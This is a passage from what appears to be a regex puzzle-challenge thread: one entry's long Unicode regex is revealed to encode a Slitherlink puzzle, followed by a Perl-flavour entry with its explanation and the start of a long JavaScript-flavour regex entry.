ʫԈԻʄ]{2}))(?=(((?![ɒէƣʈ]{2}).)*(?=[ʈɒէƣ]{2}).){2}(?!.*[ʈƣɒէ]{2}))(?=(((?![Ϥϟƺϫ]{2}).)*(?=[Ϥϫϟƺ]{2}).){3}(?!.*[ƺϫϤϟ]{2}))(?=((?![ɋȡþͼ]{2}).)*(?=[ȡþͼɋ]{2}).(?!.*[þͼȡɋ]{2}))(?=((?![ҡʈԄՄ]{2}).)*(?=[ʈԄՄҡ]{2}).(?!.*[ՄԄҡʈ]{2}))(?=(((?![ʌkȿՌ]{2}).)*(?=[Ռȿkʌ]{2}).){3}(?!.*[kՌȿʌ]{2}))(?=(((?![gǝժʮ]{2}).)*(?=[ǝgʮժ]{2}).){2}(?!.*[gǝʮժ]{2}))(?=((?![ɧƸȝՊ]{2}).)*(?=[ƸɧȝՊ]{2}).(?!.*[ՊȝɧƸ]{2}))(?=(((?![ɜȶʟɀ]{2}).)*(?=[ɀȶʟɜ]{2}).){3}(?!.*[ȶɀʟɜ]{2}))(?=((?![ƅѿOf]{2}).)*(?=[ѿfƅO]{2}).(?!.*[Oѿfƅ]{2}))(?=(((?![GҠƪԅ]{2}).)*(?=[ҠGԅƪ]{2}).){2}(?!.*[GԅƪҠ]{2}))(?=(((?![Һӻѩͽ]{2}).)*(?=[ӻͽҺѩ]{2}).){2}(?!.*[ͽҺѩӻ]{2}))(?=(((?![ʊLՅϪ]{2}).)*(?=[ՅʊLϪ]{2}).){3}(?!.*[LʊϪՅ]{2}))(?=(((?![ɅՈƪԅ]{2}).)*(?=[ƪԅՈɅ]{2}).){2}(?!.*[ԅՈƪɅ]{2}))(?=((?![ʇɊƈѹ]{2}).)*(?=[Ɋƈʇѹ]{2}).(?!.*[ʇƈѹɊ]{2}))(?=(((?![նЏYI]{2}).)*(?=[IYնЏ]{2}).){2}(?!.*[նЏIY]{2}))(?=((?![ͼխɷȡ]{2}).)*(?=[ͼȡɷխ]{2}).(?!.*[ɷխȡͼ]{2}))(?=((?![ҝɞҎv]{2}).)*(?=[ɞҎvҝ]{2}).(?!.*[Ҏҝvɞ]{2}))(?=(((?![eƪGω]{2}).)*(?=[Geƪω]{2}).){3}(?!.*[ƪeGω]{2}))(?=(((?![ɂɿƱq]{2}).)*(?=[Ʊqɿɂ]{2}).){2}(?!.*[Ʊqɂɿ]{2}))(?=((?![ƣЖoɒ]{2}).)*(?=[Жɒoƣ]{2}).(?!.*[ƣoɒЖ]{2}))(?=(((?![Ҵԉձϻ]{2}).)*(?=[ձԉϻҴ]{2}).){2}(?!.*[ϻԉձҴ]{2}))(?=((?![ɆɟѧE]{2}).)*(?=[EѧɆɟ]{2}).(?!.*[ѧEɆɟ]{2}))(?=((?![ѪɝȾѸ]{2}).)*(?=[ѪѸɝȾ]{2}).(?!.*[ѪѸȾɝ]{2}))(?=(((?![ßΩԂɥ]{2}).)*(?=[ɥΩßԂ]{2}).){2}(?!.*[ɥßԂΩ]{2}))(?=(((?![ӃդƐϣ]{2}).)*(?=[ƐդӃϣ]{2}).){2}(?!.*[ϣդƐӃ]{2}))(?=(((?![ѪլѸԿ]{2}).)*(?=[ԿѪѸլ]{2}).){2}(?!.*[ԿѪլѸ]{2}))(?=((?![ɉшƻϙ]{2}).)*(?=[ɉƻшϙ]{2}).(?!.*[ϙƻɉш]{2}))(?=((?![ѹփʯΨ]{2}).)*(?=[ʯփΨѹ]{2}).(?!.*[ѹʯփΨ]{2}))(?=((?![ƕϯʮҏ]{2}).)*(?=[ƕҏʮϯ]{2}).(?!.*[ҏϯʮƕ]{2}))(?=((?![ՌȿSբ]{2}).)*(?=[բՌSȿ]{2}).(?!.*[SȿբՌ]{2}))(?=(((?![ИщɌK]{2}).)*(?=[ɌщИK]{2}).){2}(?!.*[ɌИщK]{2}))(?=(((?![aҵɸւ]{2}).)*(?=[ւҵaɸ]{2}).){2}(?!.*[aւɸҵ]{2}))(?=(((?![լѸխɷ]{2}).)*(?=[ɷѸլխ]{2}).){2}(?!.*[խɷլѸ]{2}))(?=(((?![ՉLʝϥ]{2}).)*(?=[LϥʝՉ]{2}).){2}(?!.*[ՉϥʝL]{2}))(?=((?![ʬϬȝɣ]{2}).)*(?=[Ϭɣȝʬ]{2}).(?!.*[ȝɣϬʬ]{2}))(?=(((?![ɺȴҵւ]{2}).)*(?=[ȴɺҵւ]{2}).){3}(?!.*[ҵȴɺւ]{2}))(?=(((?![ΞʇɊζ]{2}).)*(?=[ζɊʇΞ]{2}).){2}(?!.*[ΞɊζʇ]{2}))(?=(((?![դփӃΨ]{2}).)*(?=[ΨփդӃ]{2}).){2}(?!.*[ΨփդӃ]{2}))(?=((?![ԳuҦc]{2}).)*(?=[uԳҦc]{2}).(?!.*[ҦucԳ]{2}))(?=(((?![ԻЭɌщ]{2}).)*(?=[ԻɌщЭ]{2}).){2}(?!.*[ɌщԻЭ]{2}))(?=((?![ЉջѮӺ]{2}).)*(?=[ӺЉѮջ]{2}).(?!.*[ѮӺЉջ]{2}))(?=(((?![ӿѤɹN]{2}).)*(?=[ӿɹѤN]{2}).){3}(?!.*[ѤNɹӿ]{2}))(?=(((?![ƕʮBg]{2}).)*(?=[Bʮgƕ]{2}).){3}(?!.*[Bʮgƕ]{2}))(?=((?![կƛȸԓ]{2}).)*(?=[ƛȸԓկ]{2}).(?!.*[կԓƛȸ]{2}))(?=(((?![ɥДȸh]{2}).)*(?=[ɥhДȸ]{2}).){2}(?!.*[ɥhȸД]{2}))(?=(((?![ʁԺեW]{2}).)*(?=[եWԺʁ]{2}).){2}(?!.*[ԺʁWե]{2}))(?=((?![ɮςϿʢ]{2}).)*(?=[ʢϿɮς]{2}).(?!.*[ɮςʢϿ]{2}))(?=(((?![ձУAƾ]{2}).)*(?=[ƾУձA]{2}).){2}(?!.*[УAձƾ]{2}))(?=(((?![ԻϠɌʄ]{2}).)*(?=[ʄɌԻϠ]{2}).){2}(?!.*[ϠɌʄԻ]{2}))(?=((?![ɜҥմȶ]{2}).)*(?=[ҥȶɜմ]{2}).(?!.*[ҥȶɜմ]{2}))(?=(((?![ƏՀթϞ]{2}).)*(?=[թՀƏϞ]{2}).){2}(?!.*[ƏՀթϞ]{2}))(?=((?![ҩɃȽϛ]{2}).)*(?=[ɃȽϛҩ]{2}).(?!.*[ҩϛɃȽ]{2}))(?=((?![ҠȺԃD]{2}).)*(?=[ȺҠԃD]{2}).(?!.*[DԃҠȺ]{2}))(?=((?![ɆʊLϥ]{2}).)*(?=[LϥʊɆ]{2}).(?!.*[ʊϥɆL]{2}))(?=(((?![ͽѩɒЖ]{2}).)*(?=[ͽɒѩЖ]{2}).){2}(?!.*[ѩɒЖͽ]{2}))(?=(((?![ςϪʢƩ]{2}).)*(?=[ƩʢςϪ]{2}).){3}(?!.*[ςƩϪʢ]{2}))(?=(((?![ҁϥѧɆ]{2}).)*(?=[ϥѧҁɆ]{2}).){2}(?!.*[ѧҁϥɆ]{2}))(?=((?![Жϗѩʓ]{2}).)*(?=[ʓϗЖѩ]{2}).(?!.*[ʓЖϗѩ]{2}))(?=(((?![ʁեɋþ]{2}).)*(?=[ʁɋեþ]{2}).){2}(?!.*[þեʁɋ]{2}))(?=((?![Mnƻɉ]{2}).)*(?=[Mɉƻn]{2}).(?!.*[ƻMnɉ]{2}))(?=(((?![HʬϬѺ]{2}).)*(?=[HѺʬϬ]{2}).){2}(?!.*[ϬѺʬH]{2}))(?=(((?![cիըҦ]{2}).)*(?=[ըҦիc]{2}).){2}(?!.*[cիҦը]{2}))(?=((?![ȸɥկΩ]{2}).)*(?=[ɥΩկȸ]{2}).(?!.*[ɥȸկΩ]{2}))(?=(((?![ʫҝԲɞ]{2}).)*(?=[ʫԲɞҝ]{2}).){2}(?!.*[ʫɞԲҝ]{2}))(?=(((?![ҺЋϗѩ]{2}).)*(?=[ѩҺϗЋ]{2}).){3}(?!.*[ҺѩЋϗ]{2}))(?=((?![ʯΨɎч]{2}).)*(?=[ʯΨɎч]{2}).(?!.*[ʯΨɎч]{2}))(?=(((?![ѮɔЉA]{2}).)*(?=[ЉɔѮA]{2}).){2}(?!.*[ѮɔAЉ]{2}))(?=(((?![ʞӶdN]{2}).)*(?=[dNʞӶ]{2}).){2}(?!.*[ӶNdʞ]{2}))(?=(((?![ԀŋҔɴ]{2}).)*(?=[ŋԀҔɴ]{2}).){3}(?!.*[ҔɴŋԀ]{2}))(?=(((?![ΠЪƏթ]{2}).)*(?=[ƏΠթЪ]{2}).){3}(?!.*[ΠթЪƏ]{2}))(?=(((?![OՌѿբ]{2}).)*(?=[ՌOբѿ]{2}).){2}(?!.*[OբՌѿ]{2}))(?=((?![ɮȾʢѪ]{2}).)*(?=[ɮȾʢѪ]{2}).(?!.*[ѪȾɮʢ]{2}))(?=((?![ЪϤՋΠ]{2}).)*(?=[ϤΠЪՋ]{2}).(?!.*[ՋΠЪϤ]{2}))(?=((?![Մͽӻϼ]{2}).)*(?=[ͽϼՄӻ]{2}).(?!.*[ϼͽՄӻ]{2}))(?=((?![ԋҳѦЩ]{2}).)*(?=[ѦԋЩҳ]{2}).(?!.*[ѦЩҳԋ]{2}))(?=((?![gҶҸB]{2}).)*(?=[BҶgҸ]{2}).(?!.*[ҸBgҶ]{2}))(?=(((?![ɢλҡѥ]{2}).)*(?=[λҡɢѥ]{2}).){2}(?!.*[ѥλɢҡ]{2}))(?=(((?![AϻЉձ]{2}).)*(?=[ϻձЉA]{2}).){2}(?!.*[ϻձЉA]{2}))(?=((?![tRիp]{2}).)*(?=[Rtpի]{2}).(?!.*[tpRի]{2}))(?=(((?![ɮȹϿÞ]{2}).)*(?=[ϿɮÞȹ]{2}).){2}(?!.*[ϿɮȹÞ]{2}))(?=((?![ϯժʮџ]{2}).)*(?=[ժџϯʮ]{2}).(?!.*[џϯʮժ]{2}))(?=(((?![HʬȠҨ]{2}).)*(?=[HҨȠʬ]{2}).){2}(?!.*[ȠҨʬH]{2}))(?=((?![ՒԉPϻ]{2}).)*(?=[ԉϻPՒ]{2}).(?!.*[PϻԉՒ]{2}))((?=Գ[նƎuc]|ƕ[Bʮȴҏ]|ϣ[ԏɂӃƐ]|Ʊ[ɿϬӄɂ]|Ѿ[ϭϢҸҥ]|ͽ[ѩӻՄɒ]|ɷ[խͼլ]|փ[դiѹΨ]|ϛ[ɅɃȽՀ]|Ԃ[ɥѭմß]|խ[ȡɐѸɷ]|P[ȠՒԉ]|ӷ[ЩEՊƆ]|Ə[ΠթƣϞ]|ч[xɎΨ]|ʄ[ԈϠԻҺ]|Љ[AѮϻջ]|ɒ[ʈƣЖͽ]|ʞ[ӶɔNЦ]|Ɛ[ϣɰqդ]|ʮ[ϯժƕg]|ɥ[ȸДԂΩ]|Ҕ[ŋՐɺɴ]|χ[Ԏѯ]|Ջ[ΠϤԾտ]|Ɏ[чʯֆ]|ҥ[մѬѾȶ]|ɞ[ҝҎԲ]|ҏ[ƕՐϯɺ]|Հ[ϛթϞw]|y[ϼԈҝՎ]|λ[ѥՎϼҡ]|Մ[ͽҡϼʈ]|ϟ[ϫϤԾ]|Ћ[ǷϠҺϗ]|ʫ[ԲԈҝԻ]|ǝ[gjɰժ]|Ԅ[ҡҹʟʈ]|ʌ[kՌэC]|ȶ[ҥЊɜʟ]|Ɍ[щИԻϠ]|ի[Rtըc]|Ո[ƪƺЪɅ]|ƺ[ՈϤϫω]|ß[ԂΩɜҤ]|I[նЏљ]|ҷ[ȡэCɐ]|Ц[ςbʞɹ]|Ǝ[ǂȺԳG]|ӄ[ƱӾѺ]|ʇ[ζiɊѹ]|ֆ[ɎF]|ɏ[ѠΞƋ]|Բ[ɞʫЭ]|Ի[ɌЭʫʄ]|ƪ[ԅωGՈ]|ȡ[խɋͼҷ]|Ϡ[ɌдʄЋ]|ɋ[эʁþȡ]|U[ɝɄՅʝ]|ɺ[ҵȴҏҔ]|Ƚ[ԅϛDҩ]|Ɋ[ƈʇΞ]|ժ[Φʮǝџ]|Ӿ[ӄɂԏ]|Ψ[Ӄчʯփ]|Ω[Ղկßɥ]|щ[KɌЭ]|ɉ[nҶшƻ]|Ժ[WԱե]|G[ƎeҠƪ]|ղ[կՂՑɃ]|Ӷ[ԷʞdѮ]|u[ȺԳQҦ]|Ѡ[ɴɏՐ]|ƛ[ԓՑѿկ]|ɜ[ɀմßȶ]|Ҵ[ԉձʡɧ]|ȿ[kSՌԃ]|ɂ[qӾϣƱ]|Պ[ӷɧƸʡ]|Щ[ѧѦӷԋ]|Ⱦ[ѪɝʢՅ]|Ƀ[ղҩwϛ]|Ҏ[vҜɞ]|ɐ[ҷɄɝխ]|ԏ[ϣxӾ]|Ҁ[ҹϞҤw]|մ[ԂҥɜϢ]|ҳ[ДԋϙѦ]|Ϛ[jɰqԼ]|w[ҀՀɃՂ]|E[ӷɟѧʡ]|У[μAbƾ]|ձ[ҴϻƾA]|ɟ[ɆμEƾ]|Ҥ[ҀßՂɀ]|v[ȵҎՎҝ]|ш[ϢϙɉҸ]|Ͽ[ɹɮςÞ]|O[fCՌѿ]|ʁ[ԶեWɋ]|ȹ[ÞԿɮ]|Ϟ[ՀէҀƏ]|ԋ[ƻҳЩƆ]|ƅ[fԓՉѿ]|ω[ƺeճƪ]|ʈ[ɒԄՄէ]|Ԉ[ʫʄӻy]|Ƌ[ζՐϯɏ]|ɰ[ǝƐΦϚ]|ȴ[ƕϭւɺ]|Δ[Չhҁԓ]|Π[ՋЪoƏ]|Ϫ[ʢƩʊՅ]|ӻ[ҺԈͽϼ]|ʝ[ՉLfU]|Ծ[ϟrՋ]|þ[ɋեͼ]|ӿ[ѤɹÞ]|բ[ՌՑSѿ]|ҡ[λՄɢԄ]|ɸ[ȻՃaҵ]|д[ϠИǷ]|ճ[ωϫл]|ɀ[ҹҤʟɜ]|л[ճeљ]|Ϥ[ϟЪƺՋ]|c[ԳYҦի]|Ռ[Oʌբȿ]|ն[ԳǂYI]|Ʌ[ԅϛՈթ]|ҝ[yɞʫv]|p[ƜRt]|ƣ[էƏɒo]|Ҷ[Ҹɉgj]|A[УձɔЉ]|Þ[ȹϿӿ]|Ƿ[дЋԒ]|k[QԶȿʌ]|ջ[ՒӺЉ]|Ɇ[ʊѧϥɟ]|ʢ[ςϪɮȾ]|ѭ[ДϢϙԂ]|ʘ[ЏƜt]|ѹ[ʇʯփƈ]|ʟ[Ԅȶɀɢ]|ϯ[ҏƋʮџ]|լ[ԿɷѸ]|Ƹ[ՊʙƆȝ]|N[ɹʞdѤ]|ς[ЦϿʢƩ]|ǂ[eƎљն]|ѧ[ɆEҁЩ]|ɴ[ѠҔԀ]|Ʉ[ɐfCU]|ҹ[ԄҀէɀ]|Ւ[ջPϻ]|ѥ[ɢλaՃ]|o[ΠտЖƣ]|g[BҶʮǝ]|Կ[լѪȹ]|Џ[ʘIY]|Y[ctЏն]|Ҡ[ȺDGԅ]|Ѧ[Щҁҳh]|Ѻ[HϬӄ]|ɹ[NЦϿӿ]|ԓ[ƛƅΔȸ]|f[OƅɄʝ]|L[ʝʊՅϥ]|ϼ[yӻλՄ]|џ[ζժiϯ]|ҩ[SɃȽՑ]|Ʃ[Ϫμbς]|դ[փƐӃΦ]|Ѯ[ӶӺЉɔ]|ƻ[ɉԋϙM]|ѩ[ҺϗͽЖ]|ʊ[μɆϪL]|Ж[ɒʓѩo]|B[ƕҸgϭ]|ԅ[ҠɅƪȽ]|ɔ[ʞѮAb]|ϗ[ЋʓԒѩ]|Ɔ[ӷMƸԋ]|љ[лǂI]|ȸ[ɥԓhկ]|q[ƐɿϚɂ]|Ҹ[шҶBѾ]|ʡ[ҴƾEՊ]|Ԏ[dχԷ]|j[ϚnǝҶ]|Ҧ[uըcϧ]|ϻ[ՒЉԉձ]|ʙ[ƸԼɣM]|ե[ʁþԺ]|Ƞ[PHҨ]|Φ[ɰդiժ]|Њ[ɢaѬȶ]|b[ɔƩЦУ]|Չ[ʝƅϥΔ]|ϧ[ԶҦWQ]|Ճ[ѥɸȵՎ]|Ҩ[ɧԉȠʬ]|ҁ[ΔѧѦϥ]|Ց[ҩƛղբ]|ɿ[qԼɣƱ]|μ[УƩɟʊ]|e[ωǂGл]|Һ[Ћʄѩӻ]|ѯ[dѤχ]|Ԓ[Ƿюϗ]|ҵ[ɸɺŋւ]|տ[Ջʓro]|ϙ[ѭƻҳш]|R[իԱp]|Ɯ[pʘ]|r[Ծюտ]|ƈ[ɊѹF]|M[ʙnƆƻ]|i[փʇΦџ]|ƾ[ձУʡɟ]|ɝ[ѸȾɐU]|ю[Ԓʓr]|Д[hҳѭɥ]|a[Њѥւɸ]|Յ[LUϪȾ]|ϭ[ѬBѾȴ]|Ѹ[Ѫɝխլ]|D[ԃȽҠS]|Ⱥ[ԃuƎҠ]|Ȼ[ŋȵɤɸ]|э[ʌԶҷɋ]|Ѥ[ѯӿN]|ԃ[ȺDȿQ]|ȵ[ҜȻՃv]|S[բȿҩD]|Ղ[ҤwΩղ]|ɢ[ѥҡʟЊ]|ɣ[Ϭɿȝʙ]|Վ[yvλՃ]|Ϭ[ɣʬƱѺ]|Ӄ[ϣxΨդ]|թ[ƏɅЪՀ]|ȝ[ʬƸɧɣ]|Ԁ[ɤɴŋ]|ѿ[ƅOƛբ]|H[ȠʬѺ]|F[ֆƈʯ]|Ѫ[ѸȾɮԿ]|է[ʈƣϞҹ]|ʯ[ѹFɎΨ]|ŋ[ȻҔԀҵ]|ɤ[ԀҜȻ]|ԉ[ҴPҨϻ]|ͼ[ȡɷþ]|t[իʘpY]|Ϣ[ѭմѾш]|Э[щԲԻ]|ɮ[ʢѪϿȹ]|ϫ[ƺճϟ]|Ѭ[Њւϭҥ]|Լ[Ϛnɿʙ]|Ξ[ζɊɏ]|Է[ԎӺӶ]|Q[ϧkԃu]|ւ[ҵaѬȴ]|Ր[ѠҏҔƋ]|ը[իԱWҦ]|ʓ[տϗюЖ]|K[щИ]|Ӻ[ԷѮջ]|x[чӃԏ]|И[KɌд]|ʬ[HҨȝϬ]|Ա[RըԺ]|ɧ[ȝҴՊҨ]|n[jɉMԼ]|C[ʌҷɄO]|W[ϧըʁԺ]|h[ДѦΔȸ]|ϥ[ՉLɆҁ]|Ъ[ΠՈϤթ]|կ[Ωղƛȸ]|ζ[џΞʇƋ]|Ҝ[ɤҎȵ]|Զ[ϧkʁэ]|d[ԎNѯӶ]).){3,}\3 ``` Test here: <http://regex101.com/r/kF2oQ3/1> *(crickets chirping)* No takers? It's oddly disappointing to think of posting the spoiler with no evidence that anyone looked at it long enough to understand what type of problem it is. I'm writing a complete explanation to post later but I think I'd be happier if someone beat me. When I said it was not "computationally difficult"... it *is* an instance of an NP-complete problem, but not a *big* instance. **Hint:** it's a type of pencil-and-paper puzzle. But I'd be quite impressed if you can solve this one with pencil and paper alone (after decoding the regexp into a form suitable for printing). # Spoiler time There are multiple levels of spoilers here. If you didn't solve the regexp yet, you might want to try again after reading just the first spoiler block. The actual key that matches the regexp is after the last spoiler block. > > This regexp encodes a [Slitherlink](http://en.wikipedia.org/wiki/Slitherlink) puzzle. > > > > Once you figure out what's going on and convert the regexp into a Slitherlink grid, you'll quickly discover that it's harder than the average Slitherlink. It's on a 16x16 square grid, larger than the usual 10x10. It is also slightly unusual in having no `0` clues and a relative shortage of `3`'s. `0`'s and `3`'s are the easiest clues to work with, so I didn't want to give you a lot of them. > > > > ![slitherlink puzzle](https://i.stack.imgur.com/Sttfc.png) > > > Second layer of spoilage: > > When you're solving the Slitherlink puzzle, an extra surprise kicks in: this Slitherlink has more than one solution. If you're a regular Slitherlink solver, and you have a habit of making deductions based on the assumption of a unique solution, you might have been confused by that. If so, you're a cheater and this is your punishment! Part of the job of a puzzle solver is to *find out* how many solutions there are. > > > Final layer of spoilage: > > The final twist: the 2 solutions to the Slitherlink are mostly identical, but one is slightly longer than the other. You need to find the short one. If you only found the long one and encoded it as a string to match the regexp, the string would be 257 characters long. The path goes through 256 nodes, but you have to repeat the first node at the end to close the loop. And if you got that far, you might have thought I made a mistake and forgot to count that extra character. Nope! and/or Gotcha! (and/or Boosh! and/or Kakow!) > > > > The short solution is 254 segments long and encodes to a string of 255 characters which is the key. Since you can start at any node on the loop and proceed clockwise or counterclockwise, there are 254\*2=508 possible answers. > > > > ![slitherlink solution](https://i.stack.imgur.com/Hcppd.png) > > > Non-match: `bananabananabanana` Match: `ƜpRԱԺեþɋэʌkȿՌOfɄCҷɐխɷլԿѪɮȹÞӿѤNɹЦʞӶdѯχԎԷӺջՒϻЉAɔbУƾձҴԉҨʬHѺӄӾԏxчɎֆFƈɊΞζџiփΨӃϣɂƱϬɣɿqϚɰƐդΦժʮgBƕȴւҵɺҏϯƋՐѠɴҔŋԀɤȻɸaЊѬҥѾҸшɉҶjnMʙƸՊʡEɟμƩςʢϪʊLՅȾɝUʝՉϥҁѧЩӷƆԋҳϙѭϢմԂɥȸhΔԓƛѿբՑҩSDȽԅҠGeωƪՈɅϛɃwҀҤՂΩßɜȶʟɀҹԄҡλѥՃȵҜҎɞԲЭщɌИдϠʄԻʫҝyϼӻҺЋϗѩͽɒʈէϞՀթЪΠƏƣoտʓюrԾϟϤƺϫճлљIնǂƎԳuȺԃQϧԶʁWըիcYЏʘƜ` Proof: <http://regex101.com/r/pJ3uM9/2> [Answer] ## Perl flavour, 158 [cracked] Here's my first attempt: ``` (?(R)|^(?=[a-z]))((?!.*(?&K))(((?|([?-K])|(?'K'$)|(?'k'j'k'?)|(?'k'C[^_^]{3,33}))(?(3)\3|3)){3}(?(R)R(-.-)|(?R))(?'k'<grc>-(?!(?&k))\4(?(R)|\$\4(?5)$)))|(?R)) ``` [Test it on ideone.com](http://ideone.com/vGpAZ8) > > `(?(R)|^(?=[a-z]))` the very first character must be a lowercase letter > > `(?!.*(?&K))` the string cannot contain letters in the ASCII range `[?-K]` > > `(?|...|(?'k'j'k'?)|...)` matches `j'k` (the other groups are essentially red herrings) > > `(?(3)\3|3){3}` recursively match the 3rd group, or '3' after 3 levels of recursion, repeated 3 times > > `(?(R)...|(?R))` recurse over the entire regex once or match a few characters > > `...(?!(?&k))...` I think this is `[?-K]` again, but I can't remember > > `(?(R)|...$)` after recursion, match some groups and end the string > > `|(?R)` if anything fails to match, then it's time for infinite recursion :D > > > [Answer] # JS flavor, 9998 bytes [cracked] ``` ^(?!.*(.).*\1)(?=M)((?=!7|!D|!a|!§|!¾|!Ö|!ù|!Ě|!į|!Ň|"C|"s|"t|"¡|"°|"»|"è|"ñ|"÷|"ķ|"ļ|"Œ|#W|#k|#l|#o|#q|#¶|#À|#Â|#Æ|#č|%!|%1|%O|%ÿ|%Ĕ|%Ğ|%Ī|%ĭ|&e|&q|&Õ|&æ|&ü|&đ|&Ĩ|'%|'`|'k|'¯|'É|'í|'þ|'ė|'Ğ|'ĩ|'IJ|'ļ|'ł|,%|,'|,l|,ª|,®|,¸|,¹|,ã|,õ|,Ċ|,Ġ|,Ī|,İ|,Ņ|-U|-V|-»|-Ï|-Þ|-ì|0_|0u|0°|0Ġ|0İ|0ł|1#|1-|1g|1å|1é|1ą|1Ļ|1ń|2B|2O|2¬|2ë|2ò|2õ|2Ğ|2ĩ|2į|2IJ|2ļ|3d|3²|3Ï|3Þ|3ß|3ç|3ø|3ĉ|3ķ|3ĸ|3Ŀ|4c|4£|4ß|4ã|4Ċ|4ģ|4Ĩ|4ő|4Œ|5&|5Q|5û|5Ā|5ě|5ĩ|6ú|6Ķ|6Ł|7Q|7V|7e|7²|7Á|7Þ|7à|7đ|7Ġ|7ĵ|8w|8¯|8¾|8ņ|8ő|9H|9Y|9i|:6|:s|:¬|:ð|:ü|:Ĉ|:Ċ|:Ĵ|:ĸ|:Ŀ|;X|;®|;¯|;²|;¸|;Ó|;à|;ĥ|;Œ|<-|<t|<å|<ø|<Į|<Ľ|<ō|=&|=l|=¨|=Á|=Ý|=Č|=Ĩ|=Ń|>-|>±|>¸|>Ä|>à|>ð|>ó|>Ī|@B|@F|@_|@³|@´|@Ó|@Ü|@ã|@û|@Ğ|@ğ|@Ĭ|@İ|@Ŀ|A5|AV|A_|Ax|A¹|AÅ|AĞ|AĶ|Aņ|Aō|B¼|BÂ|Bä|Bç|BĊ|Bį|Bİ|BĻ|BŅ|C1|C<|CG|Cy|C~|C¼|Cì|Cù|Cō|DT|DU|Dc|Dj|D¤|DÂ|DÑ|DĀ|Dİ|E,|E¬|E¼|E×|Eā|Eė|Eń|FZ|Ft|F»|F¿|FÈ|FØ|Fç|Fì|Fć|FĬ|Fı|FŅ|Gj|Gl|Gv|G¯|Gâ|Gï|GĖ|Gę|GĦ|Gĭ|H8|HB|HS|Hu|H¥|HÃ|HÌ|Hø|HĆ|HĒ|HĬ|Hĭ|I=|It|I©|Iæ|IĿ|Iō|J1|J3|J5|JQ|JÉ|JÔ|J×|Jă|JIJ|K-|KP|KÄ|Kî|Kā|KĐ|Kġ|KĨ|KĴ|L!|LÐ|Lá|LĚ|LĠ|M5|M¿|MÅ|Må|MĈ|MŊ|N,|N2|N5|NB|Nh|NÂ|NØ|NÜ|NĖ|Nĝ|NŃ|O;|Of|O¯|O¸|Oå|OĈ|Oď|Oē|OIJ|P7|PQ|Pp|P£|Pđ|PĴ|Pŀ|Q7|QR|Q¥|QÝ|Qî|Qī|Qĸ|Qŀ|Qő|R0|RA|RI|RN|R¥|R¼|Rö|Rû|RĬ|RĮ|RŎ|S;|SC|ST|Sd|Sy|S§|TX|Td|Tw|Tª|T¿|Tõ|U0|U:|UÊ|Uĉ|Uę|UĢ|UĦ|Uį|UĶ|Uň|V:|Vq|Vs|V¦|VÂ|Vó|Vþ|Wh|WÅ|WÉ|Wê|Wô|Wģ|Wň|X:|XI|XS|X`|Xâ|Xċ|Xė|XĠ|Xģ|Y"|YX|Yb|Yn|Yo|Y£|Y§|YÌ|YÎ|YÚ|Yá|Yă|YĜ|Yĥ|YĿ|Yʼn|Z6|Z:|Z;|Z¶|Zå|Zæ|Zċ|Zĺ|ZŊ|_,|_-|_c|_g|_à|_ĉ|_Ħ|_ł|`I|`z|`ð|`ă|`IJ|`ij|a4|a9|aF|a½|aä|añ|aď|aĝ|aĸ|b&|b7|b¸|bÝ|bë|bĺ|bņ|bŊ|c&|cP|cr|cÄ|cÑ|cÖ|cČ|cę|cĩ|cIJ|cķ|cĿ|d"|dI|d¥|d¦|dä|dģ|eK|e²|eý|eą|eČ|eĔ|eIJ|eĶ|eń|fM|fm|f¥|fÇ|fÒ|fæ|fì|fć|fě|fĝ|g!|gN|gx|gz|gÍ|gĚ|gĞ|h"|h¬|h¶|hä|hì|hï|hĆ|hņ|hŋ|hŏ|i'|i9|i¢|i¤|iÓ|iÖ|iā|iĕ|iĝ|iį|iĶ|jH|jT|j£|jµ|j·|jø|jĸ|jŐ|k0|k2|kA|k~|k¨|k½|kÙ|l&|lX|lc|ln|l£|l¥|lµ|lÃ|lå|lé|lĩ|lŌ|lŒ|m-|mW|mÐ|mĘ|mĮ|mĸ|n!|n2|nJ|nU|n¬|n½|nĆ|nĒ|nĔ|nĭ|nŇ|o5|o<|oD|oM|oÖ|oĂ|ps|pz|pº|pê|pĢ|pĥ|pIJ|qK|qa|q§|qÛ|qç|qý|qă|qĒ|qĴ|qĶ|qń|rA|re|rj|r§|r«|r¿|rÃ|rß|rò|rĔ|rĖ|rĢ|rķ|sD|sc|sÍ|sĀ|tT|tW|ta|t£|t¯|t±|tÊ|tÑ|tĚ|tļ|uV|ua|ub|uf|u¦|u´|u»|u¾|uË|uØ|uĞ|uĪ|uĹ|v:|vi|vw|v§|v½|vÄ|vÈ|vÌ|vù|vĮ|vļ|vʼn|vŎ|w!|w0|wZ|wg|wÞ|wæ|wò|wù|wĥ|wħ|wŎ|xD|x©|x®|xá|xû|xģ|xľ|xł|yC|ya|yr|y²|yÉ|yò|yĆ|yĠ|yĵ|yŒ|zM|zi|z¯|zø|zú|zć|zđ|~5|~Y|~¨|~º|~Û|~å|~ê|~ô|~ü|~ą|~ĥ|~Ī|~İ|~Ľ|~ō|¡J|¡±|¡¼|¡Ê|¡Ë|¡Ñ|¡ã|¡Ă|¡Ġ|¡Ĩ|¡ī|¡Œ|¢@|¢G|¢±|¢º|¢ç|¢Đ|¢İ|¢Ŀ|£F|£e|£Þ|£ä|£Ĵ|¤P|¤p|¤¯|¤µ|¤þ|¤ď|¤Ģ|¤ī|¥Z|¥¤|¥È|¥Ñ|¥û|¥Ď|¦T|¦Y|¦Z|¦a|¦b|¦e|¦q|¦r|¦¡|¦³|¦ĩ|¦IJ|¦ĺ|§b|§n|§w|§¿|§Ç|§Đ|¨3|¨Ã|¨Ë|¨Î|¨ë|¨÷|¨Č|¨ġ|¨Ī|¨Ĺ|¨ł|¨Œ|©I|©Z|©Ý|©ë|©ü|©ġ|©ŋ|ªP|ªo|ªr|ª¨|ª¯|ª²|ª¾|ªÇ|ªÔ|ªÙ|ªĉ|«K|«p|«£|«¨|«©|«¬|«®|«Õ|«Þ|«ß|«ö|«Đ|¬!|¬j|¬ª|¬¼|¬À|¬Ã|¬Ì|¬ú|¬ő|®#|®´|®É|®č|®đ|®ī|®ʼn|¯9|¯g|¯n|¯¹|¯È|¯Ē|¯ę|¯ġ|°N|°d|°k|°m|°s|°²|°È|°Î|°ê|°ó|°ʼn|±%|±R|±Y|±r|±æ|±Ŀ|±ń|²D|²H|²U|²×|²ã|²ä|²ç|²ą|²ħ|³`|³Ë|³ã|³ë|³ò|³ô|³ø|³Ċ|³Ĥ|³Ŀ|´~|´§|´Ê|´è|´Ķ|´Ŏ|µ:|µC|µ¢|µØ|µó|µĠ|µģ|µĤ|¶!|¶0|¶7|¶Y|¶¤|¶À|¶Ö|¶Ħ|¶ő|·p|·Á|·Ç|·ë|·î|·Ļ|·